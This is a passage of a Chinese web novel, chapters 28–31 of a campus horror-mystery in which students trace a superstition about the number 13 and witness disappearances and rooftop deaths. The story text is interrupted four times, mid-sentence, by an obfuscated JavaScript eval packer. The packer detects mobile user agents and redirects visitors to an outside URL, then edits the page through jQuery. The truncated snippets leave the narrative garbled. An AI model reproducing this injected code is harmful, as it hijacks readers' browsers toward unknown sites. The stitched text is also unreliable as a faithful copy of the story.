“那你们……”顾佳佳故意拖长了声调,“到底是不是一对啊?” 纪惊蛰:“是啊。” 蔚迟:“是个屁!” 28. 三青大学9 有高求索在,图书馆的搜索相当精准。这个泡遍图书馆的学霸对图书分布了如指掌,指挥着众人分为两拨,一波直奔宗教馆藏西北宗教区,一波去了西北民俗研究区。十分有的放矢,很快就有了眉目。 顾佳佳在一本单薄的西北民俗杂订本上找到了校长抽屉里的那个图案,来自当地一种民间信仰,辐射范围大概只能以村计,不超过万人。 孙永道:“我记得校长就是那边的人,他在一次活动上推荐过家乡的炮仗面。” 蔚迟问:“这个信仰怎么了?” 找到这个图案后就好办很多,高求索迅速在宗教区也找出了对应的资料,一目十行看下来,道:“没有什么特别离谱的,中国本来就是多神体系,这种小型民间信仰数以千万计,信仰源头拆解出来也就那么回事。这个的话……倒是有点特殊。” 孙永问:“什么?” 高求索道:“他们认为13是不详之数。” “这怎么了?基督教不也不喜欢13吗?”外国旅游经验丰富的孙永说,“他们的楼号都没有13。” “西方的确是很忌讳13。一个原因是源于《圣经》故事:耶稣的第13个弟子犹大出卖了耶稣,被捕之后的耶稣在13天后被钉死在十字架上。还有挪威神话:在天国里的12诸神为祭祀英灵举行的宴会上,排在第13位的凶神洛基突然闯入,杀死了光神博德尔。这是跟传说信仰有关的原因。”高求索语调清楚平缓,“还有就是发音原因,日本也忌讳13,因为他们忌讳数字4和数字9,日语发音很像“死”和“苦”,4、9相加正好等于13,13就是‘死’‘苦’合一。” “但是情况在中国完全不同。”高求索推了推眼镜,“13在中国是大吉之数:佛教传入中国宗派为十三宗,布达拉宫13层,代表功德圆满。儒家有13经、少林有13棍、兵法有13章。皇帝腰带的玉枚制式13枚。汉武帝在全国分设了13刺史;元朝和明朝有“十三布政使司”,划分全国为“南七省北六省”共13个行省;清朝时设13衙门……总之,避讳13的民间宗教可以说非常特殊。” “也不是没有。”纪惊蛰说,“别忘了,咱们西北那块以前也没少被突厥侵扰,有些信仰残留也是正常的。” 高求索长长地“哦”了一声,道:“这也是个思路。” “那假设,咱们校长确实是信这个……那他又做了什么呢?”顾佳佳说,“咱们学校都有13楼吧。” 孙永:“我们宿舍还是13号楼呢。” “不要怀疑,咱校长绝对是个虔诚的教徒。”纪惊蛰一边说,一边伸出左手做了个往前摸的姿势,“天天坐在他的真皮豪华旋转椅上,抚摸他内心最深处的信仰……别忘了他还是个光荣的党员。” “所以他不能光明正大地信。”蔚迟道,“一定是有什么地方不对……” 顾佳佳的肚子忽然发出了一声悠长的“咕咕”声。 她不好意思地抬起头:“啊,我一天多都没吃东西了。” 她一天没吃东西,这所学校里的大多数人也没吃东西。 蔚迟他们走在路上的时候,学校里有好些人正在抗议——学校因为北区事故关闭校门,断网断信号,食堂不开,医务室不开,一天半天的还行,这第二天了,等于断了好些人的粮。 各个社团都组织起来,拉横幅的拉横幅,喊口号的喊口号,现在正集中在北门广场上抗议。 蔚迟不想管,绕道小路往教学楼走,路上却迎面撞上杨可和邓欢。 杨可很高兴地和蔚迟打招呼,还特地给纪惊蛰也打了一个。 邓欢对孙永说:“吃了饭打牌去啊!” “啊?”孙永被点名,犹豫了一下,敷衍道,“好、好啊。” 蔚迟问:“食堂不开,你们去哪儿吃?” 杨可:“我说了我宿舍有方便面啊,你们要一起去吗?” 孙永:“不了不了……” 纪惊蛰声音更大:“好啊。” 所有人都看着他,孙永小声吼他:“你疯了吗”,纪惊蛰一脸无辜:“可食堂不开,我们也没有吃的啦。” 孙永:“教室不是……” 纪惊蛰又用更大的声音压过了他:“没有吃的啦。” 孙永又转向蔚迟:“蔚迟!他、他……” 蔚迟对杨可说:“那麻烦你了。” 孙永:“……” 顾佳佳把孙永拉倒后面,小声说:“白天是安全期!你忘啦?” 孙永:“你入戏真快!” 顾佳佳:“蔚迟又没有什么理由骗我。” 这时不远处爆发出一阵尖叫,随即是巨大的骚乱声,好像是从他们刚刚路过的北门广场上传来的。 蔚迟心里一紧,心说那边又有什么建筑物塌了?但那边好像没什么建筑啊…… 这时有人跑到这边来了,纪惊蛰抓了一个问,那人惊慌失措道:“炸了!人炸了!” 原来是他们在那里抗议了半天,确实没人欣赏,既没有老师也没有保安,只能对着大铁门和历任校长雕像喊口号,搞了一会儿搞烦了,就有些人搬着梯/子过来要翻/墙。 这一翻还得了? 大学生喜欢搞仪式感,商量着四架梯/子要一起翻,代表着自由的一瞬间…… 然后动作整齐的三个先行者全炸成了血色烟花,剩一个动作慢的,被吓得直接栽了下来,看着像头着地,也不知道怎么样了。 顾佳佳叹道:“天呐……” 杨可像什么都没听到一样:“走吗?我好饿了。” 纪惊蛰:“走吧。” 蔚迟又看了纪惊蛰一眼,跟着走了。 走到宿舍楼下,蔚迟问杨可:“我们这么多人,真的没关系吗?” 杨可:“没关系啊,我们有很多存货。” 蔚迟注意了一下时间,已经快一点了。 昨天食堂是十二点多塌的,现在早已超过了杨可昨天的死亡时间,但杨可人还好好地站在这儿。 之前听顾佳佳的描述,医务室的刘知远很像是林富国、胡天奇他们那样消失了,但杨可为什么没消失?因为他没死吗? 但纪惊蛰说看到杨可死了。 所以纪惊蛰说谎了? 孙永在后面小声问:“真的可以上去吗?” “应该可以。”蔚迟说,“白天应该是安全期,只要七点以前下来……” ……如果下不来呢? 他没往下说。 但宿舍确实还是应该进的,这一定是个关键地点,在白天安全期进来是最好的选择。 进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350170|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿舍门需要门禁卡,蔚迟特意落后几步,其他人自然都跟在他后面。 杨可刷了门禁卡和邓欢进去了,蔚迟故意没接着进,等门关上,又用自己的门禁卡刷,可以刷开。 一般女生进男生宿舍楼都需要登记,但宿管阿姨不在,登记册也没人管,摊开在门口的桌子上,被从门口溜入的风吹得哗啦啦响。 杨可站在楼梯口等他们,楼梯上面有扇小窗,杨可雌雄莫辨的脸在逆光中神色模糊,只能看到一口白牙:“快点呀。” 蔚迟清楚地听到身后有人咽口水的声音,只有纪惊蛰在那儿很欢快地说:“来了!” 杨可的实验室在蔚迟隔壁,宿舍在蔚迟头顶,307。 三楼算不上高层,根据那天邓欢喷血的情况看,大概不是从三楼——也就是他们的307宿舍——坠落的。 几个人爬上三楼,没有发现什么异样。 很快就到了307。 307是四人间,就男生宿舍来说,还挺干净,杨可的位置尤其干净,还放了一瓶花。 里边靠左的床帘拉着,应该是有人在睡。 杨可从床底下拖出几箱子方便面,的确是存货颇丰,每一箱味道还不一样。 杨可冲众人一笑:“选吧。” 邓欢先去拿了一盒老坛酸菜,纪惊蛰也跟着上去拿了一桶红烧牛肉,又拿了一桶香菇炖鸡面给蔚迟:“迟迟,记得你喜欢的。” 蔚迟道:“我现在已经不喜欢了。”然后抢走了他另一只手里的红烧牛肉面。 其他人看他俩拿了,就也都上去拿了一桶。 开水在卫生间旁边接,接水的时候孙永很小声地问蔚迟:“真的能吃?” 蔚迟旁边的纪惊蛰:“你也可以不吃。” 蔚迟抽了一下纪惊蛰的手腕,叫他少说话,转去跟孙永说:“相信我,白天安全。” 众人就都在307吃完了午饭,没有发生什么事,中途那个一直在睡觉的同学也起来加入了方便面大军,人是计算机学院的,叫高雨良。 饭后邓欢催孙永去天台打牌,纪惊蛰问其他人可以加入吗。邓欢求之不得,来者不拒,人越多越好玩,别提还有顾佳佳这么个漂亮姑娘,都叫着走。 众人上到13号楼天台。 这里早已是邓欢等人的根据地,零食啤酒一应俱全,还接了个插线板上来煮火锅。 牌打到一半,蔚迟借口上厕所,回到他们自己的207宿舍探查了一番——走的时候什么样现在还是什么样,没有发现什么有用的线索。 他正站在窗边思考,往外刚好能看到北区操场。 忽然感觉肩膀被拍了拍。 他的心跳几乎骤停,人还是习惯性地强自镇定,僵硬地回过头。 ——是高求索。 “操。”他骂了一声,“你要吓死我?” “蔚迟。”高求索神情严肃,“我觉得不太对劲。” “不对劲还需要你说?”蔚迟心跳还没有完全降下来,没好气地问,“哪里不对劲?” 高求索说:“纪惊蛰说灯是他关的,那是谁开的呢?” 蔚迟:“……这个问题我也想过。” 高求索:“他还说他看到杨可打开了灯……但我们在二楼杨可在三楼,他是怎么看到的?” 29. 三青大学10 蔚迟又眯起眼看了高求索一眼:“你什么意思?” 高求索基本属于完全不会看人脸色的类型,一板一眼道:“我觉得纪惊蛰有问题。” 蔚迟被噎了一下。 “哦。”他问,“那怎么办呢?” 高求索:“我觉得我们应该跟他分开行动。” 蔚迟:“我们?具体指哪些人?” 高求索:“除了纪惊蛰以外的人。” 蔚迟直直看着他,那眼神让高求索都察觉出了冷意,他听到蔚迟问:“那我为什么相信你?” 高求索一时间觉得受到了冒犯:“你为什么不相信我?” 蔚迟的语调依旧平静而冷淡:“你跟我们分开那么久,忽然一身血地跑回来,你怎么证明自己还是活人?” 高求索:“我没有做过一件对大家有害的事情!” 蔚迟:“那纪惊蛰做过吗?” “他……”高求索道,“他现在跟杨可他们是在干什么?” 蔚迟:“怎么?吃饭、打牌,怎么你了吗?还省了一顿午饭呢。” 终于确定了蔚迟话语中包含的愤怒情绪,高求索向下压了压手,“蔚迟,你冷静一点……” 蔚迟:“我很冷静。” 高求索:“你不能拿所有人的安全来开玩笑。” 蔚迟沉默了片刻,抹了一把脸,说:“你们要是觉得不放心,那我和纪惊蛰会跟你们分开行动。” 高求索:“我不是那个意思,我没有怀疑你,我只是说纪惊蛰……” “我会和他在一起。”蔚迟说,“高求索,我现在很冷静,跟你说的这些话也没有别的意思,是真的希望你好好考虑一下——你发现的那些问题,我也发现了,但我不可能扔下纪惊蛰不管。你再考虑一下,或者跟孙永他们商量一下,要不要继续和我们一起行动……白天是安全期,你七点之前答复我。” 蔚迟和高求索一前一后回到天台。 纪惊蛰很自然地让出半边座位,蔚迟也很自然地过去坐在他旁边。 天台被四月的风包围,将人的衣衫吹起。 蔚迟在和煦的春阳间看着天台上的人,都是一样的年轻人,充满希望与未来的年轻人…… “迟迟。”纪惊蛰碰了碰他的手肘,“抽牌。” 他脑子里有事,没反应过来,只是注视着纪惊蛰浅色的眼睛,那色泽在春阳下显得更浅了,像蜂蜜。 “怎么神在这儿了?”那双眼睛笑起来,在眼尾挤出好看的纹路,纪惊蛰又捅了捅他的胳膊,“快抽牌。” 牌玩到五点多,高雨良说要去教室拿书,众人就准备散了。 走之前高雨良边伸懒腰边说了一句:“蜜思杨不是抽了疯要期中测验吗?还不挑灯夜战?” 蜜思杨是英语部的铁血晚娘,以一张死妈脸闻名全校,凭一己之力将英语这种通识课的重要程度提高了数个level,把英语课搞得无人敢翘没人敢挂。 现在蜜思杨当然不是重点。 “你说什么?”孙永已经夸张地把蔚迟想问的话喊了出来,“挑灯夜战?” 高雨良奇怪地看他一眼:“怎么了?” 孙永:“我劝你晚上还是别开灯……” 蔚迟注意到,在孙永说“灯”这个字的时候,杨可瞬间看向了他,眼神相当不光明。 蔚迟装作不经意地把整理好的扑克牌递给杨可:“杨可,这牌你收着吗?” 邓欢把牌接过去,道:“我收着就行。” 离开后,两拨人分道扬镳。杨可他们宿舍去教学楼,蔚迟他们走了另一边。 蔚迟打算再去小卖部看看,现在他们人数增多,食物不一定够,看看还有没有什么东西可以拿。 路上高求索找了机会跟他说,还是决定一起行动。 很遗憾,在发生北区操场那件事以后,小卖部早已经被洗劫一空,吃的喝的一概不剩,洗漱用品还剩了点,顾佳佳拿了几样。 蔚迟看了看时间,快到七点了。 他想了想,决定去操场。 这个时间,操场上会有很多情侣饭后散步,今天依然有不少,个个神色如常,与平日没什么两样。 这很奇怪。 在北区都出现了人凭空爆炸的事情,这些人还完全不受影响? 蔚迟推测,现在没什么反应的人大概是已经死过的林福国那样的情况,他们的记忆中没有那些怪事,而还活着的人大概已经躲起来了。 蔚迟让其他人在操场周围活动一下,别都聚在一起,太显眼。而他选择站在操场中央观察,这里视线开阔,可以看到整个北区宿舍楼。 他先拍了一张宿舍楼的照片。 六点多,天光渐暗,宿舍楼已经亮了不少灯。 他注意着时间,七点一到,钟楼的钟声准时响起。古旧低沉的钟声在二十一世纪的校园内回荡,在苍蓝的七点的天幕下,给人一种苍凉而寂寞的违和感。 “迟迟!”纪惊蛰忽然从旁边闪出来,道,“那边好像有人直接消失了,孙永都要吓死了!” 他身高肩宽,往蔚迟跟前一杵,远近挡了个严严实实。 蔚迟气得想打他,把他往旁边一拨,又去看宿舍楼。 他发现,宿舍楼的灯亮了三分之一。 没有规律,好像是随机亮的。蔚迟打开手机,查看之前拍的那张宿舍楼的照片,发现现在亮灯的房间跟七点前亮灯的房间之间没有什么联系。 关键问题是他没有看到这中间是怎么转换的,是人打开或关掉灯的?还是别的形式? 他看着纪惊蛰,问:“你是故意的?” 纪惊蛰一脸无辜:“什么?” 蔚迟:“你早不来晚不来,偏偏七点钟往我面前一杵,你还说不是故意的?” “我没有啊!”纪惊蛰双手投降,“是孙永……” “蔚迟!蔚迟!”说曹操曹操到,孙永像条傻狗一样跑过来,“我……我看到有个人直接……直接消失了!” 纪惊蛰朝他一指,两手一摊,做了个“看吧”的表情。 蔚迟拍了拍孙永的肩膀:“你清醒一点!我不是跟你讲过医院里的事了吗?就是有人会消失啊,你一点心理准备不能做吗?” “我没想到是真的啊!”孙永一脸惊惶,快要哭了,“这世上真的有鬼啊!” 蔚迟被他吼得耳朵有点疼,脾气压不住了,想骂他两句,这时高求索和顾佳佳也走过来了。高求索问:“怎么了?” 孙永的情绪还是那么激动:“刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350171|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就在我前面,有一对情侣在散步。那女的、女的头发很长,卷发,我多看了两眼……然后、然后她忽然就不见了!消失了!他男朋友站在原地懵了个逼,什么反应都没有!” 纪惊蛰说:“指不定是隐身斗篷呢。” 几个人都看向他,他耸了耸肩:“怎么?都没看过《哈利波特》?” 蔚迟一肚子气还没发完,抽了一下他的手腕:“你不抖机灵能死啊?也不看看现在是什么情况?” “什么情况?”纪惊蛰边笑边说,“不就是一个胆小鬼要吓尿了吗?” 孙永:“你!” 孙永满脸通红,目眦欲裂,看起来下一秒就要去和纪惊蛰斗上殴了。蔚迟看到纪惊蛰欠欠的脸,还犹豫了一下是拦还是不拦。 忽然旁边响起一道低沉而愤怒的男声:“顾佳佳!” 众人皆是一惊,循声望去,只见刘知远正站在他们三步之外,脸色比孙永还难看,死死盯着顾佳佳,“你在干什么?!” 顾佳佳下意识后退了两步,脸色变白:“……什么干什么?” 刘知远:“你说到球场来找我,找到哪里去了?我找了你一下午!” “我、我……”顾佳佳下意识看了蔚迟一眼,一时也编不出什么绝妙理由,“我们去图书……” 那一眼却激怒了刘知远,他转向蔚迟,伸手像是要去抓蔚迟的衣领。蔚迟正要抬手挡,旁边纪惊蛰忽然握住了刘知远的手腕,蔚迟清晰地听到了一声骨骼的咔嚓脆响。 纪惊蛰怕不是把人家的手腕捏断了吧?他正担心,刘知远却挥出另一只手朝纪惊蛰脸上砸去,纪惊蛰朝后一躲,踩了高求索一脚,高求索便和顾佳佳一起叫了起来。 在刺耳的叫声中,孙永也不甘示弱地上来添乱,抓住蔚迟的一只胳膊就不放了,语速极快地在蔚迟耳边念:“这是个死人吧是个死人吧那我们怎么打得过他还是快跑吧快跑吧!” 蔚迟看了一眼纪惊蛰和刘知远的战况,五年不见,没想到纪惊蛰的拳脚功夫见长,基本是一边倒地压着刘知远打。难搞的是刘知远虽然一边挨打,眼睛却一刻也不离顾佳佳,像一条忍辱负重的狼,那眼神连蔚迟看了都觉得瘆人。 他跟顾佳佳说:“跑回工作室去!” 顾佳佳没动,他又喊了一遍。把孙永和高求索也一推:“都回工作室!” 不管怎么样,七点之后在学校里晃悠也太危险了。 顾佳佳一跑,刘知远忽然就跟疯了一样的挣扎起来,纪惊蛰一下子没按住,让他挣脱开了,朝顾佳佳猛追过去。 “操!”纪惊蛰擦了擦嘴角,跟蔚迟一起追。 蔚迟和纪惊蛰在途中追上刘知远两次,扭打了几下,但都没能拦住。刘知远根本不在乎自己挨了多少下,眼睛里就只有追顾佳佳这一件事。 刘知远在宿舍楼下捉到了顾佳佳,蔚迟和纪惊蛰跟着追到,冲上去拉。在推搡间,蔚迟感觉余光中有一个巨大的影子猛砸过来。 然后他听到身后高求索一声大喊:“小心!” 随即是一声巨响。 蔚迟感觉到那东西几乎是擦着自己的鼻尖落了地,下一刻是满眼的血红。 有人从楼上掉下来,砸在了他们面前。 是高雨良。 30. 三青大学11 高雨良掉下来之后,刘知远就好像被按下了暂停键一样,盯着那团摔得歪七扭八的人形不动了。 其他人还是一团混乱,顾佳佳在叫,孙永也在叫,高求索凑过来查看高雨良死没死,纪惊蛰把蔚迟拉到一边问他有没有受伤…… 蔚迟是离高雨良最近的人,基本是看着人砸进水泥地里,被推来搡去的还是懵,眼前很混乱,脑子也很混乱,在混乱间他似乎还记得往楼上看了一眼,依稀看到天台上有一个黑影,他觉得自己似乎还与那个黑影对视了。 “迟迟,迟迟!” 他感觉有人在猛拍他的脸。 “迟迟!” 哦,是纪惊蛰。 他把纪惊蛰的手一拨,又去看天台,已经没有人了。 那里好高,好黑,旁边的路灯好刺眼…… 刚刚真的有人吗? 纪惊蛰还在喊他:“迟迟!迟迟!” 蔚迟:“哎呀听得到!我又不聋!你烦不烦?” 纪惊蛰嘤嘤嘤地抱住他,把脸往他脖子里一塞:“人家好怕怕啦……” 高求索还蹲在高雨良旁边,回头道:“死了。” 孙永:“废话!脖子都戳到胸里了,能不死啊?” 顾佳佳抽噎着小声道:“那个……我们是不是……趁机跑了比较好……”她指着一动不动的刘知远,“他好像不动了耶……” 蔚迟又观察了刘知远一会儿,道:“不,我们带着他。” 孙永:“什么?!” 高求索:“怎么带?” 纪惊蛰:“当然是捆起来啦。” 众人回到工作室的时候是七点十五分,路上要穿过宿舍区,是没再当面撞上高雨良那样的血腥场面,但听东西砸地的声音,保守估计至少又发生了三起跳楼事件。 蔚迟和纪惊蛰真的把刘知远绑回来了。 刘知远在那之后仿佛跳了闸,对外部世界的反应退回了很初级的阶段,只会对很基础的问题进行很基础的回应。蔚迟指挥着纪惊蛰把他绑在椅子上,对他进行了一系列提问,他最终只对顾佳佳问他“要不要喝口水”的这一个问题进行了“点头”的回应。 这让蔚迟想到在市二院的许白诗和刘琴,在胡天奇当着她们的面消失之后的迟钝模样。 他在手机备忘录里记下“反应”这个关键词。 他们把刘知远绑在椅子上,刘知远坐在上面东看西看了半天,没多久就睡了过去。 几个人吃了点干粮,围坐在实验桌边,先是一阵沉默,过了一会儿,高求索道:“现在怎么办?” 又是一阵沉默,孙永搓了搓脸,动静不小。 “高求索。”蔚迟问,“昨天邓欢是几点掉下来的?” 高求索回忆了一阵:“好像是……八点,八点多吧?” 蔚迟道:“去看看吧。” 照市二院的经验,回去的通道要在七点之后才会打开,而在那里,七点之后的世界有不可战胜的怪物,但是这里……似乎还没有出现这种存在? 如果说怪物们是在阻碍人们探索回去的通道…… 那这个没有怪物的世界,他们是可以在晚上探索的? 蔚迟:“去看看邓欢怎么死的。” 孙永道:“我不去!” 他们没有开灯,教室里很黑,蔚迟看不清孙永的表情,但大概能想象出来。 他说:“那你就留在这里,我和高求索去看看。” 纪惊蛰:“我也要去。” 最后没拗过纪惊蛰,还是三个人去的,留下孙永和顾佳佳在教室里看着刘知远。 时隔半天,蔚迟他们又回到了邓欢“落地”的那个地方。 时针即将指向八点,夜色已至,天幕低垂,大概要下雨。 浅灰色的宿舍楼静静伫立,但也许是心理作用作祟,透出白光的窗口却不让人感觉温暖,平阔干净的水泥路也透出一种诡异的静谧。 高求索抱了抱自己的胳膊:“有点冷。” 蔚迟说:“要下雨了。” 纪惊蛰没头没脑接嘴道:“下雨天,适合死人。” 蔚迟后背一毛,转头去看,却见纪惊蛰一张缺心少肺的笑脸,登时气得锤了他一下:“说的什么屁话?” 纪惊蛰委委屈屈:“我看小说里的帅比都要这么说……” 蔚迟:“小说是小说。” 纪惊蛰欠兮兮点头:“帅比是帅比。” 高求索身形一顿:“到了。” 他记得很清楚,邓欢就砸在在第三和第四间宿舍中间的水泥地上,连哪根地缝都记得清楚。 纪惊蛰四下看看,指着一棵树:“我们到那棵树下面等一会儿。” 三个人在树下蹲了一会儿,见证了两起在这条路上的跳楼事件,离他们蹲的地方不近,但能看得到。还听到看不到的地方的一些砸地声,乒乒乓乓的,伴随着人体撞击后又破裂的很奇怪的支离声,蔚迟觉得自己都要听麻木了。 高求索忽然说:“纪老师。” 听到这声奇怪的称呼,蔚迟转向高求索。 纪惊蛰倒是很没所谓地回答:“咋啦四眼儿?” 高求索问:“你大学哪儿读的?” 纪惊蛰:”赫瑞。” 高求索:“英国?” 纪惊蛰:“英国。” 高求索:“top几啊?” 纪惊蛰:“没进榜单。” “噢……”高求索拉长了声调。 蔚迟心说这神经病不会是兴趣来了要打探未来的留学出路吧? “挺厉害啊。”高求索推了推眼镜,镜片在移动中反射出路灯的白光,把蔚迟晃了一下,他继续说,“咱们三青大学,教授都得是海归博士,国内博士只能混个助教,硕士要绩点前百分之十才能留校当辅导员……您本科毕业,直接就成讲师了,可真厉害。” “没办法嘛。”纪惊蛰笑得一本正经,“咱们酿酒学专业人才紧缺啊。” 高求索:“咱酿酒学就您一个讲师?” 纪惊蛰:“目前来说是这样。” 高求索:“但我了解到,在我们学校要创一个系,这个师资配置是远远不够的。” 纪惊蛰:“其实我们还有一个系主任。” 高求索:“是哪位先生呢?” 纪惊蛰:“是白越光白先生。” 高求索:“原来是白先生……卧槽!”一边大叫一边吓得往地上一坐。 纪惊蛰:“这什么反应?我们白教授人很慈祥的好吧……诶诶诶诶——” 蔚迟揪着他的耳朵给他转了个脸。 他们一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纪惊蛰的声音低沉且厚,虽然他平时喜欢尖着嗓子作怪,但正经说话的时候会给人一种压迫感。被他贴着耳根一说,高求索半边人都麻了。 蔚迟慢了一步,也追上来,喘着气道:“高求索,你跑什么跑?” 高求索满脸惊恐,一副要吓晕过去的样子:“……你、你你们是什么东西?” 蔚迟一愣:“什么什么东西?” “你不记得昨天下午我在干什么?我不是跟你一起在操场点名吗?”高求索拼命挣扎了几下,不知道纪惊蛰做了什么,就给他制住了。他像一只被提着脖子的鹌鹑,不敢对纪惊蛰造次,就指着蔚迟的鼻子吼道:“你不是蔚迟!你是什么东西?” 蔚迟一颗心重重落回肚子里,原来是闹了个乌龙。 他哭笑不得:“我刚刚问你……不是我不记得了,我只是在检查你记不记得……” 高求索:“不可能!我不相信!” 纪惊蛰:“谁管你相不相信?” 蔚迟听他们拌了一会儿嘴,又在备忘录记下:“时间/记忆→区分”。 31. 三青大学12 三人又在附近观察情况。 宿舍楼区简直成了一片地狱。 九点以后,跳楼的人数明显增多,经过观察,蔚迟确定这些人都是从天台掉下来的,而非他们原本所在的楼层。 宿舍楼一共有七层,天台就是第八层,一百多斤骨和肉在空气中停留不到两秒,就带着主人二十年来的一切成就、回忆、学识一道,在水泥地上摔成了一滩烂泥。 然后明天他们还会醒来。 ……但醒来的是谁呢? 十点多,情况更甚。 那种画面和声音几乎都让人麻木了。 蔚迟站在隔离绿化带里,看着那些零零星星坠落的人,有种隔岸观火的感觉,仿佛在玩什么杀人放火加跳楼的街机游戏,过于荒谬,以至于显得有些好笑。 纪惊蛰说:“要不进去看看?” 高求索原本畏手畏脚地站在旁边,闻言一个猛子看向纪惊蛰,像在看一个匪夷所思的怪物。过了一会儿,他却没听到蔚迟的回答,又去看蔚迟,只见蔚迟正抬着头仰望着宿舍楼的天台,一副下一秒就要动身的样子,吓得他连纪惊蛰的淫威也不怕了,拽住蔚迟的一只胳膊:“蔚迟!冷静!这怪物想害死我们!” 纪惊蛰又拎住他的后颈:“你说话注意一点啊。” 蔚迟心里盘算了一番——显然,宿舍很危险,非常危险……有冒险的价值吗? 蔚迟:“算了,回去吧。” 他们在回去的路上捡到了彭慧——顾佳佳提过的闺蜜。 她从宿舍正门冲出来,迎面就是两具横尸。她被吓得直接坐在地上,但居然还死死地捂住了自己的嘴,没叫出声。 蔚迟他们走过一个拐角,刚好看到这一幕,就把人捡走了。 回到教室,彭慧一见到顾佳佳,眼泪鼻涕就哗啦啦下来了。闺蜜两个抱在一起喜极而泣——一路上彭慧都很谨慎,一点不相信他们。 这下好了,彭慧肯配合了,宿舍楼的神秘面纱终于被掀开了一角—— 彭慧在陪顾佳佳守完夜之后,一睁眼守着的正主许知远直接消失了,这让彭慧有点不爽——你女朋友不在,稍微动点脑子想想那我肯定是在帮忙守夜的,你起来了好歹跟我说一声。 结果再回来的顾佳佳听到许知远消失的消息后,整个人肉眼可见地状态不对,可以说是失魂落魄。 彭慧很担心她,也为自己把许知远看丢了有些许愧疚,想要陪顾佳佳去找许知远,但顾佳佳很强硬地要求她回去休息,还特别叮嘱了她一句不要开灯。 顾佳佳说这些话的时候神情很严肃,把她震住了,心里隐约觉得出了点什么事,但回宿舍的一路上任她怎么仔细观察,也确实没看出什么不对。她生来神经比较大条,想来大概是人家男女朋友之间的事,也就懒得去想了。 守夜睡得不好,她直接旷了今天的通识课,一觉睡到晚上,迷迷糊糊醒过来,发现宿舍没有人,但灯亮着。 这时候她忽然想到顾佳佳严肃的脸,便去关灯。 关不上。 蔚迟心中一凛:“关不上?” 彭慧:“对,开关就像是被焊死了一样,关不上。” “怎么会?”纪惊蛰插嘴道,“我一按就关上了啊!” 彭慧:“我不知道,我就是关不上。” 她还站在开关那儿思考,这时候一个室友蒋方圆回来了,神经兮兮地跟她说,北门广场有人炸了。 简直天方夜谭,但蒋方圆说得煞有介事。 又过了一会儿,另外两个室友秦勤和何清也回来了,蒋方圆又去跟她们讲人炸了的事情,秦勤很感兴趣,但何清就像没听到一样,完全没有反应。 彭慧总觉得有哪里不对,跟室友们随便说了几句,又爬到床上去了。 她躺在床上,想刷微博,发现没网,想点外卖,也没网。 那种感觉更强烈了。 她想让自己睡过去,翻来覆去睡不着,一闭上眼睛,反而让听力更敏锐,她可以听到走廊上来来往往的脚步声,平日里没注意,但她是感觉这些脚步声比以往时候密集……今天是有什么活动吗? 不对,学校已经封校了,不管什么活动大概都会延期吧…… 她听到何清叫蒋方圆出去,过了一会儿,只有何清一个人回来了。 秦勤在下面问蒋方圆呢?何清说蒋方圆在天台上晒被子,需要帮忙。 秦勤又问,十点多了,这时候晒被子? 何清说,谁知道她呢,白天忘晒了吧。走吧。 彭慧听到秦勤的椅子与地面的摩擦声,想必是站起来了。她忽然惊慌起来,心脏强力地撞击着胸腔,她想叫秦勤不要去,但不知道怎么的,不知道哪里来的恐惧席卷了她,她蜷缩在床上,一个字都说不出来。 她又听到何清说,需要两个人,彭慧你也来吧。 彭慧性格大大咧咧的,跟所有人关系都很好,跟何清的关系也很好,但不知道怎么了,今天她听着何清的声音,感觉整个后背都麻了。 她想装睡,没想到何清直接伸手上来拽她的衣服。 她坐起来,装作刚醒,问怎么了? 何清说,上天台帮蒋方圆晒被子去。 彭慧想说我不去,但看到何清的脸,她忽然话锋一转,说行,你们先上去,我上个厕所,马上过来。 等何清带着秦勤走了,她反方向往楼下跑,一冲出宿舍门,迎面撞上的就是蒋方圆和秦勤扭曲的尸体。 她说:“我现在回想起来,我住六楼,往楼下跑的时候,路过了很多人,有些我是认识的……她们明明住在更低的楼层,却都在往楼上走……这基本是不可能的,我们每层楼都有卫生间和洗衣机,一般低楼层的人是不会往楼上走的,有些低层同学到毕业都没上天台玩过。” 众人听完,一阵沉默,只有熟睡的许知远发出了一声呼噜。 彭慧指着许知远问:“为什么绑着他?” 蔚迟递了一杯热水给她,安排顾佳佳给她讲解一下现在的情况,又安排其他人去洗漱。 众人分组结伴洗漱之后,把前后门的锁检查了一遍,准备睡觉。 彭慧刚听顾佳佳讲了个大概,又魔幻又困惑,混乱的脑子艰难地运转一圈,问道:“咱们就这么睡了?” 蔚迟:“不然呢?” 彭慧:“我以为会发生点什么……” 纪惊蛰:“你最好还是祈祷什么也不要发生。” 彭慧:“啊…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 